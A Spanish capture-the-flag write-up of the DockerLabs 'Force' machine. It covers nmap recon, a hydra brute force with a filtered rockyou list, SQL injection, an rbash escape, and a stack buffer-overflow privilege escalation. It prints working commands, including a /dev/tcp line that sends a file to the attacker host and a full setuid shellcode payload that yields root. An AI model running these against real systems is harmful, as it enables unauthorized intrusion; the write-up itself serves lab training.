> For the complete documentation index, see [llms.txt](https://maciferna.gitbook.io/book/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://maciferna.gitbook.io/book/writeups/dockerlabs/force.md).

# Force

Máquina **Force** de [DockerLabs](https://dockerlabs.es)

![Force](/files/Bw0EpdA7vOAKPlQ73oCC)

### Info

| Nombre | DIficultad | Ip         | Plataforma                          |
| ------ | ---------- | ---------- | ----------------------------------- |
| Force  | Dificil    | 172.17.0.2 | [DockerLabs](https://dockerlabs.es) |

### Reconocimiento

Comenzamos con un escaneo de `nmap` para ver los puertos abiertos de la máquina:

```bash
nmap -p- --open --min-rate 5000 -sS -Pn -n -vvv 172.17.0.2 -oG allPorts
```

> `-p-`: Englobar el rango total de puertos (1-65535).
>
> `--open`: Mostrar solo los puertos que estén abiertos.
>
> `--min-rate 5000`: Enviar paquetes no mas lento que 5000 paquetes por segundo.
>
> `-sS`: Indicamos el modo de escaneo TCP SYN scan.
>
> `-Pn`: No aplicar descubrimiento de hosts.
>
> `-n`: No aplicar resolución DNS.
>
> `-oG`: Exportar el escaneo en un formato específico.

Los únicos puertos que vemos abiertos son:

* `22`: Probablemente corriendo el servicio `openssh-server`
* `80`: Probablemente corriendo el servicio `apache2`

Por lo que procederemos a realizar un escaneo más profundo

```bash
nmap -p22,80 -sVC 172.17.0.2 -oN targeted
```

```ruby
# Nmap 7.93 scan initiated Thu Jan  1 02:56:32 2026 as: nmap -p22,80 -sVC -oN targeted 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 e0a0228d334a423d4fe93f50d1cabc76 (ECDSA)
|_  256 ae00c4d6b4958eea0b8af3d99bc18163 (ED25519)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan  1 02:56:40 2026 -- 1 IP address (1 host up) scanned in 8.01 seconds
```

Como podemos ver, era lo que esperábamos, `openssh-server` y `apache2`. Además, según el resultado de `nmap` el título de la página es "Login", por lo que continuaremos directamente desde el navegador.

Una vez entramos a la página, nos sale una alerta con este mensaje:

```ruby
We have updated our security requirements for passwords:

- Your password must include at least one uppercase letter
- Your password must include at least one lowercase letter
- Your password must include at least one digit
- Your password must be at least 10 characters long
```

además, si intentamos iniciar sesión con un usuario que no existe nos pone un mensaje que dice "User does not exist", pero si el usuario existe nos dice "Incorrect password for the user". Esto ya nos revela que el usuario 'admin' si existe, y según la alerta que nos salió, podríamos filtrar en el rockyou para que nos deje una lista con contraseñas que cumplan esas características:

```bash
grep -P '^(?=.*[A-Z])(?=.*[a-z])(?=.*[0-9]).{10,}$' rockyou.txt > new_rockyou.txt
```

luego, realizamos un ataque de fuerza bruta con `hydra` para obtener la contraseña del usuario admin:

```bash
hydra -l admin -P new_rockyou.txt 172.17.0.2 http-post-form  '/login.php:username=^USER^&password=^PASS^:Incorrect password for the user' -V 
```

Luego de esperar unos minutos, obtenemos el siguiente resultado:

![Hydra](/files/dvBfJLh5VJ34BBVLMRYt)

por lo que ya podremos iniciar sesión.

#### Reconocimiento web

Una vez dentro, veremos lo siguiente:

![App](/files/rZeV1nzFSfOBmUvPZVHK)

luego de probar algunos payloads, podemos notar que al agregar una nota pero poniendo una comilla nos da el siguiente mensaje:

```ruby
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''')' at line 1 in /var/www/html/app.php:32 Stack trace: #0 /var/www/html/app.php(32): mysqli->query() #1 {main} thrown in /var/www/html/app.php on line 32
```

viendo esto, ya podemos deducir que se trata de una inyección sql. Por lo que en mi caso, he realizado un script en python para poder explotar esta vulnerabilidad:

{% file src="/files/GDiTpm5FB2OG4ZN01yIo" %}

Una vez la explotamos, obtendremos el siguiente resultado:

![SQLI](/files/ANKqgDzumNPbC9nz2I6F)

### Intrusión

Probando las credenciales obtenidas, podemos notar que las siguientes son útiles para `ssh`:

```ruby
ttttt:wWZ *vgx Rz3j MBQ ZN
```

Una vez nos conectamos, notamos que estamos dentro de un `rbash`, esto significa que estamos usando una shell como `bash` solo que esta está limitada, variables de entorno como `PATH` están bloqueadas, esto significa que si la variable `PATH` tiene una ruta distinta a la normal solo podremos ejecutar los comandos que estén en la ruta personalizada:

![rbash](/files/CxhZEM7HF733SSQkoW6U)

como vemos en la foto, comandos básicos no están en la ruta de nuestro `PATH`, por lo que tendremos que buscar una manera para poder escapar de esta `rbash`.

Para nuestra suerte, la conexión la hacemos mediante `ssh`, por lo que una manera simple de hacerlo es conectarnos de esta manera:

```bash
ssh ttttt@172.17.0.2 bash
```

esto hará que al entrar nos ejecute directamente una `bash`, por lo que ahora podremos ejecutar el comando `chsh` para cambiar la shell de nuestro usuario por `/bin/bash`. Además tendremos que ejecutar los siguientes comandos para que al conectarnos nuevamente por `ssh` no tengamos problemas con la variable `PATH`:

```bash
rm /home/ttttt/.bashrc && cp /etc/skel/.bashrc /home/ttttt/.bashrc
```

### Escalada de privilegios

#### Enumeración

Comenzamos revisando binarios con permisos `SUID` y encontramos un binario poco común:

```ruby
/usr/sbin/exim4
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/umount
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/home/ttttt/bf/vuln <---- Binario sospechoso
```

lo ejecutamos y vemos que nos pide un input. Si probamos a pasarle 200 letras 'A' (`/home/ttttt/bf/vuln $(python2.7 -c 'print "A"*200')`) veremos que el programa crashea, esto significa que estamos frente a un buffer overflow.

#### Buffer Overflow

Para poder analizarlo correctamente, pasaremos el binario a nuestra máquina local. Para hacerlo lo haremos usando `netcat` y `/dev/tcp`:

```ruby
# Máquina atacante
nc -nlvp 9090 > vuln
# Máquina víctima
cat /home/ttttt/bf/vuln > /dev/tcp/172.17.0.1/9090
```

Una vez recibimos el archivo, imitamos los permisos para poder explotarlo correctamente:

```bash
chown root:root vuln && chmod 4755 vuln 
```

Para empezar comenzaremos revisando las protecciones:

```ruby
pwndbg> checksec
File:     /home/****/force/content/buff/vuln
Arch:     i386
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        PIE enabled
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No
pwndbg> 
```

vemos que el stack es ejecutable, no tiene canarios y NX no está activado.

Con esta información ya podemos explotar el buffer overflow.

Para empezar necesitamos obtener el offset para que se de el buffer overflow, este lo podemos conseguir usando las herramientas `pattern_offset.rb` y `pattern_create.rb` de metasploit. Primero generamos un pattern usando `pattern_create.rb`:

```bash
./pattern_create.rb -l 90
```

el resultado obtenido, lo usaremos con gdb para obtener el offset:

```ruby
# Iniciamos gdb con el binario
gdb -q vuln
# Hacemos que el binario inicie pasandole como argumento nuestro pattern
r Aa<SNIP>Ac7Ac8Ac9
# Una vez crashea el programa, ejecutamos lo siguiente
info registers eip
# Al resultado en hexadecimal lo revisaremos con xxd
echo '0x63413563' | xxd -r; echo
```

obtenemos como resultado el texto 'cA5c', el cual si se lo pasamos a `pattern_offset` (al inverso) nos dirá el offset exacto:

```ruby
❯ ./pattern_offset.rb -q c5Ac
[*] Exact match at offset 76
❯ 
```

con el offset listo, nos faltaría buscar un shellcode útil para este caso. Para encontrar el indicado, debemos revisar si el binario usa `setuid` porque si no lo usa, aunque obtengamos una shell no sería como root y no nos serviría de nada:

```bash
objdump -d vuln | grep -i setuid
```

al ejecutarlo no nos devuelve nada, lo cual significa que no ejecuta `setuid`, por lo que tendremos que buscar un shellcode el cual primero ejecute `setuid` para cambiarlo por el de root y luego una shell. Luego de buscar un poco, encuentro el siguiente shellcode en [shell-storm](https://shell-storm.org/shellcode/files/shellcode-251.html):

```asciiarmor
\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80
```

lo que hace exactamente este shellcode es lo siguiente:

```c
setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL])
```

además es de 37 bytes, por lo que nos sirve para poder explotar el buffer overflow correctamente.

Desde la máquina víctima, ejecutamos `gdb` pasandole el binario vulnerable y lo ejecutamos de la siguiente manera:

```ruby
r $(python2.7 -c 'print "\x90"*39 + "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "B"*4 + "C"*200')
```

esto lo que hará será pasarle 39 NOP's, el shellcode y tomaremos el control de el EIP con 4 'B'. Pasaremos 39 NOP's porque nuestro shellcode tine 37 bytes (37 + 39 = 76) y 200 letras 'C' para identificar más fácil donde queda nuestro shellcode y los NOP's:

```bash
x/300wx $esp
```

![ESP](/files/VGOyfdlIwLq7ByPpP2f8)

sabiendo esto, nosotros deberemos hacer que el EIP apunte a la dirección `0xffffd6c0`, esto para que con los NOP's se 'deslice' hacia nuestro shellcode y nos ejecute lo que queremos. Por lo que ya tenemos lo necesario para explotar el buffer overflow y escalar a root, salimos de `gdb` y ejecutamos lo siguiente:

```bash
/home/ttttt/bf/vuln $(python2.7 -c 'print "\x90"*39 + "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x80\xd7\xff\xff"')
```

y en mi caso con esa dirección conseguimos una shell como root:

![root](/files/sEbQcwT4x4edjm68otgL)

Gracias por leer
